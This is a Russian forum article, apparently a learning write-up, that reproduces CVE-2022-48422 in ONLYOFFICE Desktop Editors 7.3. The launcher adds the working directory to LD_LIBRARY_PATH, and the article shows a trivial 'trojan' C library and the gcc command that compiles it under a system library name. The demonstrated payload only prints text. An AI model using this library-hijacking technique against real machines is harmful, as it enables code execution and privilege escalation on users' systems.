Статья Освежает иногда, в зной холодная вода. PoC CVE-2022-48422. OnlyOffice 7.3

1686850458809.png

Ку, киберрекруты. Данная статья посвящена CVE-2022-48422. Данная уязвимость была обнаружена в ONLYOFFICE-DocumentServer-7.3.0 и дает возможность получить привелегии через троянского коня libgcc_s.so.1 в текущем рабочем каталоге, которым может быть любой каталог, в котором находится документ ONLYOFFICE. Однако, в данном чтиве просто попробую получить краш. Думаю, это явялется хорошей практикой для пывна рил кейсов.

PoC на эту уязвимость выглядит так:
1686850558174.png


Решил, что этого маловато. Поэтому буду пробовать пывнить этот, так сказать, vulnbox. Однако, уже до меня описывали эту вулну, можете ознакомиться с этой статьей История одной уязвимости. Не буду на нее опираться и попробую сам пробить вулну. Так намного веселее и скилл прокачается в разы жестче.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

Развертывание стенда

В этом плане не сложно. Нужно просто скачать программу или установить или найти архив, в которой содеражтся файлы для запуска. Благо, существует github репозитории, в которых все это имеется (Releases · ONLYOFFICE/DesktopEditors). По данным о CVE, нужна версия 7.3:

1686850726509.png


Скачаю архив, под названием onlyoffice-desktopeditors-x64.tar.gz, потому что там уже содержится директория с файлами, для запуска проги.

После скачивания распакуем архив командами ниже:

Код:
chmod 777 onlyoffice-desktopeditors-x64.tar.gz
gunzip onlyoffice-desktopeditors-x64.tar.gz
tar -xvf onlyoffice-desktopeditors-x64.tar.gz

Копаясь в этой папке, обнаруживаем файл - DesktopEditors. Видимо это и есть наш таргет. Однако, при запуске может выскачить примерно такая ошибка:

Код:
This application failed to start because it could not find or load the Qt platform plugin
"xcb" in "".

Сначала делаю экспортирую QT_DEBUG_PLUGINS=1 командой export QT_DEBUG_PLUGINS=1. После чего, устанавливаю библиотеки:

Код:
sudo apt-get install libxcb-xinerama0
sudo apt-get install libxkbcommon-x11-0 libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-xinerama0 libxcb-xfixes0
libegl1-mesa

Впрочем, если такой варик не катит, то можно пойти другим путем. Установить onlyoffice. Качаете .deb , устанавливаете и в директории /bin ищете файл, который называется примерно так: onlyoffice-desktopeditors. Это башевский скрипт , в котором все описано для запуска DesktopEditors.

1686850966128.png


Теперь, когда развернули стенд(называть это стендом, конечно, смешно, но как есть).

P.S. версия ONLYOFFICE Desktop Editors version 7.3.0.184

Сама вулна

Начать решил не с реверса бинаря, а больше со скрипта, который запускает программу. Опять же, вспомним о том, что происхдит брут директорий и подкачка библиотек начиная с той, где был запущен документ.

Анализируя скрипт, в конце файла было найдено крайне стремное место:

Код:
DIR=$PWD
export LD_LIBRARY_PATH=$DIR:$LD_LIBRARY_PATH
exec $DIR/DesktopEditors "$@"

Как видно, идет подкачка всех библиотек с директории запуска и выше. На это указывает $LD_LIBRARY_PATH.

Если почитать документацию о LD_LIBRARY_PATH, то можно понять следующее:

  1. В системе UNIX/Linux LD_LIBRARY_PATH указывает загрузчику динамической компоновки, небольшой программе, которая запускает все ваши приложения, чтобы определить, где искать динамические общие библиотеки, с которыми было связано приложение. Двоеточие :)) отделяет список каталогов, и этот список проверяется даже перед встроенными путями/путями поиска и обычными местоположениями, такими как (/lib, /usr/lib..).
  2. Каталоги LD_LIBRARY_PATH проверяются в первую очередь, до их фактического местоположения. Этот подход может быть использован злоумышленником, чтобы заставить ваше приложение запускать вредоносную версию общей библиотеки. Это одна из причин, по которой исполняемые файлы setuid/setgid игнорируют эту переменную.
Таким образом, можно написать любую програмулину и скомпилить ее как библиотеку, так же назвать, как уже имеющаяся и все заработает.

Реализация

Тут в принципе тоже ничего сложного. Пишем какую-нибудь програмку и компилим ее под видом библы. Например:

C:
#include <stdio.h>
void trojan()
{
    puts("Hello");
}

Теперь компилим:

Код:
gcc -Wall -Werror -fPIC -Wl,-init,trojan,-soname,libselinux.so.1,-version -script, -shared -o libc.so trojan.c

Запускаем:

./onlyoffice-desktopeditors test.docx

После запуска пойдут краши.

Повторюсь. Самый популярный PoC:

История одной уязвимости
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!